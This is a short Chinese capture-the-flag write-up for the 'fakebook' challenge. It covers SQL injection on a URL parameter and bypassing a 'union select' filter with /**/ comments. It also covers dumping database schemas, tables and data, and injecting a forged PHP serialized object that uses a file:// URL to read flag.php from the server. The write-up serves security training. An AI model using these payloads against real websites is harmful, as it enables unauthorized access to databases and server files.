fakebook（攻防世界）
1）
?2）扫描下可以找到有robots.txt
?3)输入/user.php.bak发现一个PHP文本，是说创建user然后从url里get信息，同时blog有一个正则匹配，需要有https://（可有可无），然后是数字和字符，加一个.? 然后是2-6个字母
4）创建个用户，主要注意blog
?5）注册成功返回
?6）点开aaa
?7）url中有no=1，尝试or'1'='1注入，存在注入后
order by 4#8)只有列为4不报错，存在4个字段
/**/union/**/select 1,group_concat(schema_name),3,4 from information_schema.schemata #9）查看数据库，发现union select被过滤了，/**/可以绕过，获取到数据库：
? ? ? fakebook,information_schema,mysql,performance_schema,test
10）查看表名，只有一个表：users
/**/union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#11）获取字段
/**/union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema="fakebook"#12）在几个字段里面，获取data的数据
/**/union/**/select 1,group_concat(data),3,4 from users#
?13）发现我们注册信息被序列化，看了一下网上的wp，发现他们在扫描目录的时候，有一个flag.php在/var/www/html里面，构造反序列化语句
14）采用构造file协议去读取/var/www/html/flag.php的内容（file协议主要用于访问计算机本地文件，基本格式为：file:///文件路径）
/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"aaa";s:3:"age";i:14;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
?15）打开源代码
?16）直接点一下（或者把base64后的进行base64解码）
